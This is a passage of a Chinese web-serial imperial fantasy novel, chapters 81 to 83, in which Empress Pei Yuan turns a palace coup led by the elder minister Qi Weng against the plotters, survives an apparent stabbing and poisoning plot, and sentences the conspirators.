裴源紧绷的精神似顿时松懈了几分,懒懒倚着靠背:“齐翁正在向朕剖析她的心路历程,说到她送朕的父君入宫了。” 裴丰羽步伐稳健,很快行至齐翁身侧。见其身侧的黄裙女子正举着剑,一脸警惕地看着自己,他微微凝神,随后一脸惊讶道:“呦?本宫没看错吧?这不是死于贪官之手的齐大小姐吗?怎么?听闻今夜皇宫有乐子,所以从地府偷跑出来了?”【你现在阅读的是 】 完结&番外 第81章 第81章晋江文学城 裴丰羽的出现,仿若惊雷乍响,瞬间将殿中气氛搅得森然一片。 柳玉书下意识地望向凤帝,凤帝神色如常,竟无半分异动。 他微微蹙眉,预感不妙,回头对韩柏耳语几句。 钱千雁毫不犹豫地冲出殿外,招来侍卫。侍卫只道:他是从朱雀门一路走进来的。因他身后并无侍卫,亦无长随,又是一个多年锦衣玉食的贵族公子,想必没什么危害,便放他入了宫。 钱千雁将此事一五一十地转述给齐从雪,可齐从雪依旧警惕,直接将长剑悬在了他的脖颈上:“大皇子府外埋伏了八百侍卫,若是拦截失败,自会燃放爆仗加以警示。你是如何凭空出现在朱雀门的?” 裴丰羽十分不喜刀架脖子的感觉,轻松的神色瞬间凝了一层寒霜:“本宫自有本宫的手段!”他抬手推开脖颈上的寒刃,语气中满是不屑:“一个金蝉脱壳、不敢以真实身份示人的鼠辈,还不配劳本宫浪费口舌!” 齐从雪眸色一寒,正欲开口,却被齐翁拦在了身后。齐翁摩挲着紫檀杖上的夜明珠,浑浊的眼眸将裴丰羽从上打量到下,方才露出一个慈爱的笑意:“今夜本该唤大殿下入宫,然,天降大雨,难免淋湿衣物,若大殿下因此感染了风寒就不好了。” 裴丰羽嘴角微勾,露出一抹嘲弄的笑意:“齐翁想多了,本宫身体康健得很,便是今夜变了天,大雨变成了大雪,本宫也不会受到一点伤害!” 齐翁沉吟片刻,心中权衡了一番裴丰羽的价值后,对齐从雪道:“大殿下喜欢看热闹,从雪,替大殿下看座。” 齐从雪微微眯起眼,心中虽满是疑惑,但还是命人抬了椅子给他。 似是因为自家人到来,一脸灰败的西川王终于有了些生气,看着裴丰羽问:“适才陛下说,她是母皇亲生,皇舅可知,她说的是真的吗?” 座位被安置在距离齐翁不远的地方,似是不希望他脱离她们母女的掌控。裴丰羽毫不在意,撩起衣袍,神色从容地落座。闻言,他嘴角微翘,目光淡淡地看着西川王:“不然呢?否则凭她这个要死不活、凡事懒得相辩的倒霉性子,先帝会瞧得上她?” 西川王原地打了个晃。 今夜踏入宫城之前,她始终笃信裴源当年不过是凭借卑劣谄媚之术,才得以僭越凤位。 所以朝堂之上,群臣皆不屑于效忠于她,即便自己远在西境,仍能得众人忠心追随,她们为她暗中谋划,步步为营。而她亦不负所望,卧薪尝胆多年,以贤德与魅力折服众人,运筹帷幄,谋算深远,终将半壁朝堂握于掌心。只待今夜将凤帝裴源的头颅斩下,那本就属于她的凤位便唾手可得。 然而,踏入宫门不过须臾,却被告知过往的追随皆为虚妄,效忠亦是虚假。她如同一个小丑,被她们戏弄多年,而始作俑者们竟无半分愧疚与歉意,任由她怔立原地,视若无物,仿佛她为空气一般。 而此刻,竟又得知裴源竟是母皇所生? 她的生父本是低贱舞郎,这也是众姐妹鄙夷轻视她的主要缘由。如今,身份陡然逆转。往昔众姐妹对她的讥讽与调侃,此刻皆化作荒诞笑谈,而她,竟是这笑话中最可悲的笑柄。 她算什么?一个娱乐所有人的笑话吗? 裴丰羽眼见她眼神瞬间涣散无光,人虽站在原地,灵魂似已飘出了天际。裴丰羽轻笑出声,语气淡然,似是闲谈般说道:“你也不必如此伤怀,你输给她,一点不冤。” 见西川王看着自己,他才接着缓缓道来:“先帝昔年产女时耗尽心血,总觉精神不似从前,便一直觉得小五是个讨债的伥鬼。所以小五刚满周岁,便下令毒死了沈氏郎。你父君虽愚钝,却并非狠毒之人,于是她便将小五寄养在你父君宫中,任其自生自灭,也是想瞧瞧,这女人生出来的孩子,是不是比男人生出来的命更硬。” 裴丰羽歪头托腮,目光落在小凤帝身上,语气中带着几分戏谑:“果不其然,这孩子命硬得很,且自幼便早慧得令人咋舌。尚在牙牙学语之时,便能察言观色,知晓如何在深宫中苟且求生。先帝心生好奇,命宫女设局,将她引入凝辉殿,欲试探她在帝王一怒之下,能否自救。不料,她察觉不对,直接钻进凤案下头,没心没肺地睡了一觉。醒来后察觉殿内无人,还顺手替先帝批阅了一本奏折。工部上奏,西城城墙年久失修,索要五万两白银修缮;她批道:‘五万两可购五百万块砖石,约建十里城墙,西城城墙仅有五里,余下二百五十万块砖石,你是要为自己的九族垒坟头吗?’” 裴丰羽收回视线,看着近在身侧的裴安,语气带着几分玩味:“她那年也才五岁,而你,六岁启蒙。你说说,一个无人管顾、在后宫受尽冷落连饭都吃不饱的孩童,文字和算数是怎么学来的啊?” 舅侄二人正闲谈间,宫门再次开启,周天韵携画卷归来。 齐翁的眼眸瞬间迸发出了精光。 她激动地迎上,近乎颤抖地将画卷慢慢抱在怀里,神色贪婪地嗅着画卷上的味道:“找到你了,终于找到你了!” 殿中皆是她的爪牙,自然与她同露喜色,裴源则显得有些一头雾水。 万幸,齐翁到了废话颇多的年纪:“陛下可知此物?” 裴源试探道:“总不会是藏宝图吧?” 这话似戳到了齐翁的笑点,她仰头大笑,笑得酣畅淋漓,良久才铿锵有力道:“不错!正是藏宝图!” 裴源:“……还真是一点都不让人意外啊。” 天底下有张藏宝图,而图就在皇宫里,而她作为凤帝,却丝毫不知情。 这合理吗? 裴源愣了会儿神后,忽而恍然,她忘了,她失忆了。 齐翁微微一笑,语气中带着几分调侃:“你不会天真地以为,昔年太祖是因为她那把子力气,才打下了这天下吧?” 裴源眉头微挑,若没记错,这图是先帝所获,跟太祖又有何关联?她冷声道:“你刚刚还说:太祖乃乱世中突起的枭雄,英勇魁梧,气吞山河,展臂高呼,引来无数英豪相 助。怎么这会儿又要污蔑太祖……是靠这图中所获宝藏,收买了众人不成?” “污蔑?”齐翁冷笑一声,声音中满是不屑,“若无财帛,谁愿为她效力?若无银两,她又从何处得来战马、战袍?你可知,太祖起兵之时,麾下不过数百人,若无这图中宝藏相助,又怎能在乱世中立足? “你问朕?”裴源微微蹙眉,语气中带着几分疑惑:“你不是才信誓旦旦地说自己是太祖的军师,与她一同打下这天下?那太祖是否有财帛,你难道不知?” 齐翁正欲开口,裴丰羽却抢先讥讽道:“齐翁,您不能仗着自己年岁大,便随意糊弄晚辈们吧?母皇的军师分明是温觅,也就是如今的温老太尉。当年,您不过是温老太尉手下的一名小小书吏罢了,在母皇面前,连说话的资格都没有,怎就成了母皇的军师?” 齐翁面色骤变,厉声斥道:“温觅?不过是有个好出身,自幼得名师指导,又窃取我们这些书吏的功劳占为己有,否则?她也配得上‘军师’二字?” 裴丰羽笑而不语,小凤帝亦嘴角微勾,讥讽之态,不加掩饰。 自裴丰羽的不请自来初,齐从雪便一直内心不安,此时,心中的不安甚嚣尘上,甚至隐隐有些忐忑。她毫不迟疑,将长剑再次悬在了裴丰羽的颈上,眼神里透着决绝。 “母亲!勿再与她们多说废话!”她长剑一紧,在裴丰羽的脖子上划过一道血痕,鲜血顺着剑刃滴落。齐从雪的目光如刀,直视凤帝,呵斥道:“速速写下让位诏书,否则,我现在就砍了裴丰羽的脑袋!” 裴源懒懒地瞥了她一眼,语气轻飘飘的:“朕自己的手足,都说杀就杀。你以为,朕会在意皇舅的生死?” 裴丰羽冷哼一声,声音虽低,却满是嘲讽:“倒是心狠。” 裴源不语,倒似一副破罐子破摔的模样,任由众人闹腾。 羽扇接到暗示,缓步上前,倒水入砚台,研墨的动作不疾不徐,声音却冷如寒霜,毫无平日里软弱无依的样子:“陛下,今夜风雨疾驰,诸位大人深夜悄然而来,未引起半分波澜。如今,凰贵君被困于内殿,乌尚宫亦被制于宫外,禁军皆已归顺,凤鸣卫此时就算接到帝令,可区区千人,想来还未走到这紫宸殿前,便已凋零雨中。这宫城之中,再无陛下可倚仗之人。无论这宫城的惨叫声有多大,都会被这狂风暴雨掩藏无踪。陛下,您没有任何胜算,也不会有人从天而降前来救驾,何必再浪费大家的时间呢?” 殿外,风声鹤唳,暴雨如注,宫城在风雨的肆虐下,如同一座遗世独立的孤岛,被黑暗包围其中。 殿内,灯火昏黄,凤帝瘦弱的身躯在凤案后显得格外孱弱,唯有一双眼睛目光如炬。闻言,凤眸轻抬,声音冷冽:“朕可是仙子下凡,你又如何确定,不会有救兵天降?” 羽扇微微一笑,语气却透着几分沧桑:“臣自幼父母双亡,刚会走路便已四处飘零。虽没读过什么书,没见过什么大世面,可所结识之人,无不可怜至极。她们没有做过任何伤天害理之事,却要饱尝世间极苦。可她们还是四处求神拜佛,因为她们无权无势,只能寄希望于神灵。可神灵好似从未听到过她们的诉求……” 他话音一顿,冷冷道:“这世间,并无神灵,不过是一群软弱无能之人臆测出来虚妄而已。” 他的柳叶眸缓缓落在裴源的脸上,语气愈发冷冽:“陛下登基至今,总以鬼神之说愚弄万民,骗得久了,连自己都深信不疑。事到如今,竟还要寄希望于虚无缥缈之事,未免可笑。今夜,这宫城之中,胜者为王,败者为寇,仅此而已。” 他将砚台推至裴源面前,又取了笔递给她,声音冷得像从冰窖里刚取出来的冰:“陛下,落笔吧!” 裴源取下黑玉扳指,在掌心摩挲,声音无比冷淡:“无印,诏书无用。” 羽扇道:“陛下放心,我等自会好好招待乌尚宫,直至她交出玉玺为止。” 话音方落,一声炮仗的巨响打破了夜晚的死寂。随着烟花炸开,竟将漆黑的夜幕映得如同白昼,引得殿中之人齐齐回望,就连近在眼前的羽扇都狐疑望去。 裴源当即抬脚猛踹桌案,太师椅下的滑轮借势后移。椅背撞墙之际,黑玉扳指精准没入石墙。 齐从雪听到声响,猛地转身,横剑直指凤帝:“你乱动什么?” 裴丰羽见势,利落起身,一脚飞踢至她的手腕。齐从雪只觉手腕一痛,长剑“叮”的一声落地。裴丰羽袖口处划过一道刀光,他近身奇袭,直接将齐从雪紧锢怀中,短刃直逼她的喉咙:“上一个把剑悬在本宫脖子上的人,被本宫砍了双手,折磨了三日!今日条件有限,便宜你了!” 说着,根本不给众人开口之机,裴丰羽手起刀落,短刃直接刺入了齐从雪的喉咙! “雪儿!” “少主!” 变故突然,众人尚不及讨伐,就听浑厚有力的呵斥忽而在殿中响起。 “齐呤!当年要不是你哭着求着老身收留你,你这种蠢笨的东西,在老身面前提鞋都不配!今日竟还倒打一耙,说老身窃取你的功劳?!” 众人神色巨变,有的仰头,有的转身,似乎都在寻找声音的来源。那声音仿佛从远在天边,又仿佛近在耳边,如同去岁万寿节那晚,声音的来源虚无缥缈,令人不寒而栗。 人人警惕,人人恐惧。 齐翁尚未来得及去看爱女的死,只紧紧抱着江山图,打量着四周。 这时,凤帝身后的石墙一侧忽而倒塌,尘土飞扬中,羽扇猝不及防,直接被人一脚踹开。那是一位身穿甲胄的女子,手持长矛,气势凛然,她看着齐翁,冷笑道:“适才你口中所说:‘稍识得几个字,却被封赏了三品官位的粗人’,指的就是我娘吧?” 齐翁浑浊的瞳孔一缩,看着来人,不可置信道:“李天音?你不在明州戍守,跑京城来干什么?谁给你的胆子擅离职守?” 李天音冷笑一声,手持长矛,凌然一挥,对着身侧的男子道:“哎呀我这暴脾气!还没上位呢,就摆起帝王架子了?宣儿,把你的本事都拿出来,替你祖母狠狠地揍,揍到她们吐屎为止!” 裴源:“……” 终于,钱千雁呵道:“来人!保护齐翁!” 众人这才恍然缓过神来,纷纷将齐翁护在左右。 “杀!” 李宣的喊话如同带着回响,不仅在殿内绕梁,就连殿外都传来阵阵回音。 钱千雁本拥护齐翁向殿外逃离,可甫一推开殿门,竟见一满头花白的女人端坐廊下。她的身后,凤鸣卫与禁军厮杀在一起,刀光剑影,血花四溅。而远处,更是涌上来一片大军,她们像是一群勤奋的工蚁,黑压压地围上来,密密麻麻,令人不寒而栗。 钱千雁只得拥着齐翁与众人后退,才猛然发现,凤帝身后的石墙像是一个藏着千百万人的黑洞,几乎是源源不断地从其中涌出人来。 齐翁等人不可置信地看着那群人。她们都是朝堂里的同僚,甚至多是自己的手下,大多人长着年轻的面容,平日里卑躬屈膝地听命于自己,如今却一个个目光冷冽,杀气腾腾。 而后,纷纷围站在凤帝左右,冷眼欣赏着她们的窘态。 紫宸殿内,人群瞬间汹涌而入,殿宇变得逼仄而拥挤。齐翁等人被前后夹击,可活动的空间愈发狭小。随着稍有身手的几人相继倒下,只剩下一群手无缚鸡之力、却又年迈的官员,她们惊惶失措,狼狈不堪。 这些官员历事两朝、三朝,官居高位,手握实权。她们皆是朝堂的中流砥柱,如今却在这逼仄的空间中瑟瑟发抖。她们追随齐翁多年,自恃资历深厚,不屑于效忠于一个二十出头的女娃娃之下。于是,她们合谋搅弄朝堂,乐此不疲地欣赏小凤帝怒急却又奈何不了她们的样子。 在她们眼中,凤帝算什么?若非群臣托举,她不过是傀儡一个。 然而,局势反转,今夜一开始她们有多得意从容,此刻就有多狼狈不堪。她们的权势、地位、自恃,在这一刻尽皆崩塌,化作虚无。 殿外,厮杀声穿透雨幕飘进殿内,更像是索命的厉鬼,令人不寒而栗。 直至温觅缓步踏入,轻轻阖上殿门,殿内才得来片刻的安宁。她隔着人群看着齐翁,微微一笑,声音轻缓却带着几分冷意:“好不容易得来的藏宝图,临死前,不打开亲眼看看吗?” 齐翁面色灰败,许是年岁 已高,陡然巨变的局面让她显得有些迟钝。片刻后,她才回过神,冷冷道:“老身便是毁了它,也不会便宜你们!” 温觅微微一愣,旋即哈哈大笑,笑声中带着几分嘲讽。她好整以暇地看着齐翁,语气中满是不屑:“齐呤啊齐呤,好歹也是入土之年的年纪了,竟然还这么蠢钝。” 她顿了顿,目光如刀,冷冷质问:“若这世间真有藏宝图,又被太祖得来,她当年为何不搬空充盈国库,反而封存原地?难道,是为了便宜你这个祸害?” 见齐翁沉默不语,温老太尉沉声开口,语调低沉而有力:“从常氏郎,沈氏郎,再到裴小五的头疾,桩桩件件,先帝对你这个暗中摆弄虫子之人恨之入骨。奈何你行事隐秘,狡猾至极,她只得编造藏宝图一事,并暗中告知几位老臣,就想看看谁会上钩。却不想你竟自此隐蔽起来,直至先帝驾崩。你仗着太师之尊,处处凌驾于新帝之上,肆意妄为。老身几次本欲警示你,但念及你孤女早逝,齐府无嗣,权势不过昙花一现,亦可借此激励新帝,故而暂且放任。却不料,你蛰伏多年,谋划了这么多桩丑事!” 齐翁依旧不语,可抱着画卷的手已然开始颤抖,可事已至此,她已无退路,只固执道:“你说谎!若无藏宝图所指,先帝怎知北境会有铁矿?” 温觅的声音在殿内回荡,她虽已年迈,声音却无比凝实:“太祖乃北方人,早在起势之前,便已知晓铁矿所在。天下初定,为求百姓修养生息,故将此事深藏不露。先帝继位之初,北境动荡不安,依照太祖所指,挖矿炼铁、锻造兵器,以备不时之需。 后,你频频使弄阴毒手段,引的先帝震怒。所以为了为了增强藏宝图的可信性,先帝不得已透露了铁矿的线索。 却不想你如此精明,竟真的寻到了冶炼兵器的洞穴。你借此离间镇北王与先帝的君臣之心,在先帝面前花言巧语,诬陷镇北王有反意;又在镇北王面前挑唆,说先帝忌讳她功高盖主,意欲加以除去。镇北王信以为真,除去了先帝派往北境的巡按御史,引得帝怒。自此,假谋反成了真反,致使镇北王一家无辜枉死。甚至收养镇北王之后为你的暗桩、暗探!齐呤,你取人性命,还要吸人骨髓,简直卑鄙无耻,罪大恶极!” 人群之中,陆长行神色怔然,想也不想开口问道:“母卿的军械案,是齐翁在幕后主使?” 男子声音尤为突兀,打断了温觅对齐翁的审判,温觅并无怒意,并寻声望向声音来源,才看到立在人群之中的男子。 那男子虽说陌生,可温觅早从温阳泽的传信得知,此子便是镇北王之子,陆长行。 故而,微微沉吟,反问:“你母卿遇害前,可叮嘱你南下?” 陆长行点头:“是。” 温觅点了个头:“南下后,你可有身陷囹圄,遭人囚禁?” 陆长行嘴角微颤:“有。” 温觅又问:“你从南边回京后,可有人频频示好,一再挑唆,让你杀了先帝,为你母卿复仇?” 陆长行沉默几息,终颤抖点头:“……有。” 温觅嗯了一声:“那便对了。你母卿乃土生土长的北方人,所有亲人好友皆在北方,纵然在京城住了几年,有了几个相处好的姐妹,也都是京城人士。她好端端的叮嘱你南下做什么?” 温觅冷哼道:"齐呤将你骗入那个村子,让你受尽苦楚,便是要你来日回京,能够留下裴小五的左右,让你如当年的常氏郎一般,去控制她这位未来新帝。否则,整个朝堂在齐呤一人独大的局面下,她怎么会容得下你一个罪臣之后,成为新帝的君后?” 第82章 第82章晋江文学城 陆长行身躯一晃儿,过往的一幕幕如走马灯般在眼前闪过,才猛然察觉自己这些年为了追查母卿的死,为何每每接近真相,都功亏一篑。 因为所谓的线索从一开始就是假的,所以追查的结果也只会莫名其妙的中断。 而凤帝密室中所得知的真相,又何尝不是齐翁设计想要让她得知的真相? 她明知凤帝与君后相互喜爱,却告诉凤帝一个假的真相,让凤帝对君后心怀有愧;又让陆长行深陷追查母卿之死一事上反反复复,无疾而终。 事关杀母之仇,两人纵然如何相爱,也难敌血海深仇这个隔阂。 这又何尝不是操控? 让凤帝爱而不得;就如同朝堂之事,她即便身在高位,也永远只能是个傀儡。 所以齐翁对凤帝的操控,又名‘挫败’。 裴源念此,看向殿中的齐翁:“一把年纪,又无子嗣,偏偏对权利的眷恋还那么露骨。致使朕迷了眼,认为你不过贪恋权势。想来一年前,你也是察觉了朕性情有变,故而放低姿态,假意效忠,实则却将手下之人一分为二,一半儿陪朕演戏,一半儿与朕作对。让朕一直怀疑这幕后还有其他人在暗中操控;让朕与一个不存在的敌人,斗的殚心竭虑。” 裴源言此,苦笑一声:“你是母皇之师,朕对你只有敬重;四年前,新朝初立,朕事事向你请教,任群臣以你为首,放任朝政由你点头才肯落印,朕自问,给足了你老臣应有的排面与地面。你又何必如此?” “就因为朕不及太祖勇冠三军、胆略过人;亦不及母皇睿智英明、运筹帷幄;所以你便觉得朕好欺负?是吗?” 似乎已经预料自己大势已去,齐吟抱着手里的江山图,神情虽看起来有些憔悴,可浑浊的瞳孔依旧凌厉,她凝望着小凤帝冷笑出声:“你登基初,尚不满及笄。却总是装成活了一把岁数、少年老成的样子;初次科举,妄想着提携青年一辈,分走老臣的利益;更想推举新政,妄图改变朝局?先帝远胜你万千都不敢如此冒进,你小小年纪,又凭什么?盲目尊大、不知所谓!老臣不服你,也是活该!” 裴源尚未开口,温觅抢先道:“新帝并非少年老成,实乃幼年聪慧。自其五岁起,先帝便知她天资非凡,知她必为未来之主。可先帝始终未授她帝王之术,盖因先帝深知她性情纯良,不屑权谋。于是暗中悉心栽培,磨砺她的果决坚韧,练就她的识人之明。四年前,先帝驾崩,留她于四面楚歌、皆是质疑境地,只给她一个继位的口谕。先帝之意,便是想让她明白‘当断不断,必受其乱’之理,改掉优柔寡断、心慈手软之弊。便是想看看她能否在乱局之中,狠下心肠,成就大业。” 温觅语气渐沉,目光如剑,直视齐翁:“她不必服你,更不必为了你们这些所谓老臣的诚服,就迁就退让。因为她是先帝早就选定的继承人,而你们,不过是先帝留给她的砺石。齐吟,人至暮年,当知天命。你总想以余晖之光,遮蔽朝阳之芒,未免愚蠢!不懂让贤于后辈,便是与天相抗,愚不可及。” 她话音一顿,目光转向凤案后的凤帝,责备的语气下,带着几分期许:“陛下,今日之祸,皆因四年前的你心慈手软。若当年的你可以狠下心肠,杀一儆百,便不会造成今日局面。先帝曾留遗诏于老身,若一切皆如她所预料般发展,她命老身问陛下一句:裴小五,你可知错?” 殿中静谧无声,众人才察觉殿外的厮杀声已然渐渐消散,温觅未等来凤帝的回答,却等到了郭嘉安与其母郭黛携凤鸣卫踏入殿内,而殿外,只剩下大雨如注。 郭氏母子先后步入殿中。 郭嘉安身披朱红甲胄,雨水沿着头盔的轮廓滑落在他的脸上,亦冲淡了脸上的血迹。分明是一双含情的桃花眼,在这一刻竟显得无比坚毅与冷峻。 跟着母亲大步踏入殿内,两人单膝跪地,郭黛声音沉而有力:“臣,不负陛下所托!叛党已尽皆伏诛,无一生还!” 钱千雁等人瞬间面色如死灰,仿佛被夺走了最后一丝希望。有的人苦笑,狼狈地滑 跪在地,似乎已接受了失败的事实;有的人则是眸色狠厉,她们不甘自己只是的存在,只是先帝磨砺新帝的棋子。 齐翁依旧紧紧抱着怀里的江山图,视作她为最后的救命稻草。她用尽全身的力气嘶吼,声音中满是不甘与疯狂:“我不甘心!我不甘心!”她转头望着凤帝,双目赤红,形如疯癫,歇斯底里地叫道:“杀!杀了凤帝!” 此言一出,她身侧的众人似乎瞬间被点燃,纷纷涌上前去,准备与凤帝玉石俱焚。她们的双目殷红,神情魔障,并非蒙蔽了心智,而是在抒发心底里最后的疯狂。 李玉音冷哼一声,声音中满是不屑:“死到临头,还不知悔改!杀!” 殿中局势瞬间陷入一片混乱。 韩柏猛地挣脱了柳玉书的束缚,他神色惊恐,如同一只失去庇护的幼兽,在绝望中四处张望。所以见到凤帝起身向他招手时,他毫不犹豫地扑进了凤帝的怀抱。 很快,叛党皆被制服,局势皆被掌控。 一切似乎即将尘埃落定。 短暂的安静下,陆长行难以抑制的惊恐之音,显得无比刺耳:“陛下……” 他疾步上前,一脚就将韩柏踹飞,而后,将缓缓倒下的凤帝接在怀里,声音里满是悲痛:“陛下!” 裴源不可置信地低下头,看着心口上那把染血的匕首,才愕然的抬眸,看向不远处嘴角流血的韩柏,嘴唇微动,却只能艰难地挤出一个字:“为……” 她本想质问韩柏为何如此,可刚一开口,便觉喉头一甜,鲜血瞬间喷涌而出,连一句完整的话也未能说出口。 “陛下!” 殿内众人见状,无不惊恐万分,纷纷齐齐跪倒在地,哀嚎声此起彼伏,一时间,绝望与悲痛瞬间笼罩宫殿。唯有韩柏捂着心口,泣不成声:“我娘也是她们的同党。依旧是活不成了……依旧是活不成了……” 韩惜灵原本立在人群之后,听到此处,不可置信地冲到前面,看到凤帝胸前一片血色时,她的面色瞬间变得惨白,直挺挺地跪倒在地:“陛、陛下……” 韩柏自见到韩惜灵的瞬间,似是明白了什么,他愕然的愣怔片刻,继而愤然转头看向柳玉书,眼中满是愤怒:“你骗我!” 柳玉书早已被凤鸣卫压制在身下,见状却突然疯狂大笑起来,神情扭曲:“你个满脑子都是女人的蠢货,骗你又如何?” 柳玉书被凤鸣卫死死压制,连头都抬不起来,只能恶狠狠地抬眸盯着凤帝,声音中满是怨毒:“裴源!七年前,裴爽为了羞辱你,送了你一名舞郎。当日,你的匕首,也似今日这般,毫不犹豫地刺入他的胸膛!你可还记得?” 他的声音在殿内回荡,厉声质问的每一个字,都像是从牙缝中挤出来的:“那舞郎到底做错了什么?他不过是想好好活着!你若不喜,大可以将他赶出府去,为什么要杀了他?为什么?” 裴源捂着心口,鲜血从指缝间渗出,她已经无力说话,只能倚在陆长行的怀里,目光定定地看着柳玉书。 柳玉书见她面色晦暗,气息微弱,知道她早已油尽灯枯,于是带着一丝嘲弄和幸灾乐祸:“我让耿文耀给你下了血槿散,又让他提前把解药的消息透露给陆长行,就是知道你这个人喜欢将计就计。可你一定没想到,那解药,其实也是一种毒药。你害怕众人担忧,所以隐瞒了这件事。旁人都以为你是故意装病来蒙蔽敌人,只有我知道,你只要一进食,就会腹痛难忍,再加上头疾频发,因而才短短一年光景,你才衰败至此。” 他冷笑一声,接着说道:“裴源,这一年来,你过得很难受吧?” 此言一落,殿内一片哗然,众人无不惊愕。乌宛白更是痛哭流涕,满脸自责:“陛下,你……你怎么这么傻?” 柳玉书双目殷红,声音中带着一丝讥讽:“是啊,我也搞不明白,只要不触碰她的底线,她可以对所有人都无比宽仁,可当年,却偏偏容不下一个无辜的男子!” 陆长行将怀里的人拥得很紧,他心疼至极,所以开口的每一个字,都似从胸腔中挤出来的:“一年前,你让耿文耀诓骗我阿姐还活着,还骗我说,她就是对陛下下蛊之人,就是为了骗我离宫,只想看她因头疾无治,而饱受折磨?” 柳玉书盯着他,面无表情道:“不错!” 他言罢用力挣扎,稍得放松,便从领口抽出一枚银坠,随手扔到了陆长行的脚边,冷冷说道:“真正的下蛊之人,是我。余下所有的子蛊,都在这枚苗银坠内。” 而此时,凤帝忽地又吐出一大口鲜血,躺在陆长行的怀里,气息渐弱,仿佛随时都要死去。 殿内再度陷入一片惊忧之中,众人无不惊慌失措。有的已泪流满面,乌宛白更是僭越般紧紧拉着凤帝的手,泣不成声,一直哀求她不要离开。 而裴源则是用尽力气,问道:“如此说来,你便是御宴楼幕后真正的主人了?” 柳玉书冷笑一声:“主人?怕是御宴楼中众人,都不知自己主子到底是谁。”他顿了顿,继续说道:“建楼之资,出自西川王;楼中之人,皆受齐从雪驱使;而我?”他微微俯身,瞥向陆长行脚边的银坠,唇角勾起一抹浅笑:“不过施了些手段。些许能让人心甘情愿为我所用的手段。” 他转眸看向韩惜灵,语气中带着几分嘲讽:“说来,韩大人还当好好谢我才是。若非我命白袖引你查明刘丝柳身死真相,哪有韩大人弃暗投明、倒戈陛下的今日?” 韩惜灵眉心微蹙,沉声问道:“这于你们大计并无裨益,你为何要帮我?” 柳玉书目光深邃,语气带着几分冷意:“如果说,西川王是齐吟放在明面上的棋子,那么齐吟,便是我选定的暗桩。只是她倚老卖老,屡屡挑衅皇权,凌驾于帝王之上。我若再不出手,她必遭凤帝暗中翦除。那这出大戏,又该如何唱下去?” 裴源闻言,气若游丝道:“为了一个舞郎,你倒是处心积虑。” “舞郎”二字,仿佛是触碰到了柳玉书心中最深处的伤疤,瞬间点燃了他的怒火。他猛地变得歇斯底里,声音中带着几分颤抖:“你眼中的舞郎,却是我的至亲之人!” 柳玉书的目光落在裴源身上,眼中满是怨毒:“裴源,你从未喜欢过我,我亦觉得你伪善至极。昔日你杀了他,如今你死在我手。这便是因果轮回,报应不爽!” 他深吸一口气,带着一种决绝的平静与癫狂:“能与凤帝共赴黄泉,也不枉人世走一遭。” 躺在陆长行怀中的裴源听闻,唇边却勾起一抹弧度,笑意却未达眼底,沉声道:“可惜,你的算盘终要落空了。” 她索性不再伪装,随手拔下心口的那把刀,轻轻一掷,刀身在空中划过一道寒光,落在柳玉书身侧,发出清脆的声响。 柳玉书愣在原地,眼神中满是错愕,其他人也皆是诧异,一时间,整个大殿内鸦雀无声,只有凤帝铿锵有力的声音在殿中回响。 “朕预料宫变即将发生,又怎会没有一点防备?” 裴源缓缓起身,站定后,目光阴沉的扫过齐翁等人,而后缓缓开口,每一个字都似千钧之重,威严凛然,如同重锤,敲击在众人的心上: “齐吟,心怀不轨,罪孽深重,法理不容。兹处以极刑,诛其三族,以正纲纪,以儆效尤;余参与人等,虽非首恶,然亦为从逆,罪责难脱。悉数砍首,家产尽皆抄没,以充国用。其家眷,近亲知情者,视同谋共议,一并连坐;远亲实不知情者,未涉逆谋,念其无辜,可免连坐之刑,判流放;西川王、淑太慈,贬为庶民,流放边疆,无诏,终身不得入京。以上,三日后行刑,今日主涉罪犯,首级悬城三日,以示天下,明正典刑。” 第83章 第83章晋江文学城 一场秋雨,寒意来袭。 太阳初升,晨光熹微,却照不暖这偌大的皇宫。空旷的宫道上, 看不到一具尸骸,但空气里残留的血腥气依旧让人忍不住作呕。 乌宛白推开凝晖殿的门,奉了一碗姜茶至凤案:“陛下忙碌一夜,可要吃些东西?” 姜茶微热,裴源接过一饮而尽。辛辣的口感在喉间蔓延,竟也生出一层细汗。她闻言摇了摇头:“朕的身子不打紧,倒是如华宫那边,温老太尉年迈,凰贵君体弱,务必仔细些。” 乌宛白微微一笑,轻声安慰道:“陛下放心,君后早已去打点了。”她沉默片刻,面色犹疑,似乎有些话想说,故而斟酌道:“陛下……恕奴婢多嘴,这温老太尉虽说年事已高,但毕竟是女子,住在后宫,恐……” 裴源抬手给了她一记爆栗:“既知多嘴,便不要嘴了。” 她又道:“李玉音与郭黛难得入京,若是想入宫看望儿子,亦不要阻拦。” 乌宛白颔首应是,转身见翰林院的吏员们端着整整齐齐的几托盘圣旨,才躬身道:“陛下,奴婢去去就回。” 裴源扭了扭手腕,笑道:“记得背个包出去,不然银子将袖口压坠了,少不得失了第一内臣的体面。” 乌宛白一愣,旋即躬身道:“奴婢不敢。” 不远处,君后提着食盒下了御撵,裴源远远瞥见,不动声色地应了个“好”,而后,一语不发,颔首摆弄起歙砚。 凝晖殿的门再次开启时,日头刚刚掠过城门,光芒将踏入殿内的男子的身影拉得很长。歙砚亦在阳光下打出了一道幻影,映在不远处江山图上,影子与画重叠后,几个光点格外突兀,像是坐标。 其中一个光点,刚好落在了画卷北方的山涧。 这时,陆长行屈身行了一礼,久久未闻女子之音,故而轻抬眼帘望去,见女子视线落在江山图上出神。 他想了想,径自起身,缓缓行至她的身畔,声音温和:“陛下。” 裴源恍若未闻,慢慢扭转者歙砚,看光影在画卷上打转。陆长行愣了几息,抬手轻轻扯了扯她的衣袖,再开口时,声音里透出几分温柔:“陛下~” 裴源这才懒懒抬眼,隔了一年之久,才终于又见到了那张让她熟悉又陌生的脸,于是愣了愣神,嘴角微微上扬,语气中带着一丝调侃:“呦?这位郎君看着眼生,您,哪位啊?” 陆长行缓缓跪下,双手伏在女子膝盖上:“臣一年前擅自离宫,属实罪无可恕,陛下无论怎么责罚臣也好,臣都毫无怨言。只是陛下如今身中奇毒,头中又有蛊虫,早日清除,陛下就早一日康健,大臣与诸君便能早一日心安。陛下能否大人不记小人过,暂时忘了臣的过错,给臣一个赎罪的机会?” 裴源摇头:“不好,这一毒一蛊在朕体内时日已久,朕已经和它们培养出感情了。也想看看,它们两,到底哪个更胜一筹。” 陆长行:“……” 陆长行想了想:“陛下圣体,不容有失,陛下若真的好奇,臣愿意充当药奴,服毒测试;陛下若想它们了,可随时召见臣一观。” 裴源:“……” 裴源负气起身:“有病!” 陆长行忙起身追其左右,拉着她的手:“陛下~” 裴源挣脱,踏入内殿后,落坐在茶案前,尚未来得及泡茶,水壶便被陆长行先一步提起。 